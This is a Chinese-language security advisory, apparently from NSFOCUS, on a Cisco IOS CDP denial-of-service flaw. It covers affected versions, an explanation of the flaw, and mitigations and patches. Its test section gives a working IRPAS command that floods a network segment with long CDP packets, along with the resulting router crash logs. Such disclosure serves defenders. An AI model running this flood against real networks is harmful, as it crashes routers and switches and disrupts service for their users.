首页 -> 安全研究

安全研究

安全漏洞
Cisco IOS CDP 协议拒绝服务攻击漏洞

发布日期:2001-10-09
更新日期:2001-10-10

受影响系统:

Cisco 1005 IOS 11.1.*
Cisco 1603 IOS 11.2, 11.3.11b
Cisco 2503 IOS 12.0.19
Cisco 2600 IOS 12.1.*
Cisco Catalyst 2940XL IOS 12.0(5.1)XP
不受影响系统:

Cisco IOS 12.2(3.6)B
Cisco IOS 12.2(4.1)S
Cisco IOS 12.2(3.6)PB
Cisco IOS 12.2(3.6)T
Cisco IOS 12.1(10.1)
Cisco IOS 12.2(3.6)
描述:

Cisco bug ID : CSCdu09909

Cisco 路由器或交换机的IOS系统支持CDP(Cisco Discovery Protocol)协议。然而,在
处理某些特殊的CDP报文时,可能会占用大量路由器内存,从而导致崩溃、重启等后果。

Cisco Discovery Protocol(CDP)是一个二层协议。Cisco 设备会定期发送更新消息以通
知它的相邻设备。这些报文是不可路由的。因此攻击者只能向同一个网段内的Cisco路由
器发动攻击。更新消息被发送到一个多播地址: 01:00:0C:CC:CC:CC

如果一个Cisco设备收到另外一个设备发来的CDP报文,它会将内容拷贝到一个内部数据
结构中。这些信息包括设备ID,发送方地址等等。

如果使用包含随机设备ID和随机数据链路地址的长CDP报文给某个Cisco设备,可能导致
该设备不能正常工作。对于不同的IOS版本,常见的反应有:
  . 在收到3到5个报文之后系统重启
  . 在成千上万个报文之后完全停止响应
  . 使用所有的可用内存来存储CDP信息直到超时

如果管理员试图在控制台执行'debug cdp packets'命令检查CDP流量,则系统会立刻崩溃。
有时候在受到攻击时,命令行窗口将不再正常工作。


<*来源:FX (fx@phenoelit.de)
  链接:http://archives.neohapsis.com/archives/bugtraq/2001-10/0061.html
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


可以使用Phenoelit IRPAS软件包(http://www.phenoelit.de/irpas/)来发
送CDP报文.

    linuxbox# ./cdp -i eth0 -m0 -n 100000 -l 1480 -r -v

        注意,所有在多播域中的Cisco设备都可能受到攻击!


    Cisco 1603 / IOS 11.2(4)的反应:

    radio#
    %SYS-2-MALLOCFAIL: Memory allocation of 1480 bytes failed from
    0x81B3BE6, pool Processor, alignment 0
    -Process= "CDP Protocol", ipl= 0, pid= 9
    -Traceback= 80ABDCC 80ACF46 81B3BEE 81B3B72 81B276A 81B224C
    radio#
    %SYS-2-MALLOCFAIL: Memory allocation of 96 bytes failed from
    0x81B26D2, pool Processor, alignment 0
    -Process= "CDP Protocol", ipl= 0, pid= 9
    -Traceback= 80ABDCC 80ACF46 81B26DA 81B224C
    %SYS-2-MALLOCFAIL: Memory allocation of 96 bytes failed from
    0x81B26D2, pool Processor, alignment 0
    -Process= "CDP Protocol", ipl= 0, pid= 9
    -Traceback= 80ABDCC 80ACF46 81B26DA 81B224C
    radio#sh ?
    % Unrecognized command
    radio#show ?
    % Unrecognized command
    radio#


    在执行了 'debug cdp packets'命令之后的反应:

    %Log packet overrun, potential memory corruption, PC 0x81B2720, format:
    %s
    %Log packet overrun, potential memory corruption, PC 0x81B2720, format:
    %s
    ....[lots of these].....
    %Log packet overrun, potential memory corruption, PC 0x81B2720, format:
    %s
    %Log packet overrun, potential memory corruption, PC 0x81B2720, format:
    %s

    *** BUS ERROR ***
    access address = 0x5f227998
    program counter = 0x80ad45a
    status register = 0x2700
    vbr at time of exception = 0x4000000
    special status word = 0x0045
    faulted cycle was a longword read

    monitor: command "boot" aborted due to exception


    System Bootstrap, Version .....
    Copyright (c) 1994-1996 by cisco Systems, Inc.
    C1600 processor with 2048 Kbytes of main memory

    program load complete, entry point: 0x4018060, size: 0x1da950




建议:

临时解决方法:

在路由器上禁止CDP。

  Router# configure terminal
  Enter configuration commands, one per line.  End with CNTL/Z.
  Router(config)# no cdp run

或者在特定端口上禁止CDP:

  Router# configure terminal
  Enter configuration commands, one per line.  End with CNTL/Z.
  Router(config)# interface Ethernet0
  Router(config-if)# no cdp enable

厂商补丁:

Cisco已经在一些临时版本的IOS中解决了这个问题:

Cisco IOS 12.2(3.6)B
Cisco IOS 12.2(4.1)S
Cisco IOS 12.2(3.6)PB
Cisco IOS 12.2(3.6)T
Cisco IOS 12.1(10.1)
Cisco IOS 12.2(3.6)

后续IOS版本中也将解决这个问题。
厂商主页:http://www.cisco.com


浏览次数:4879
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障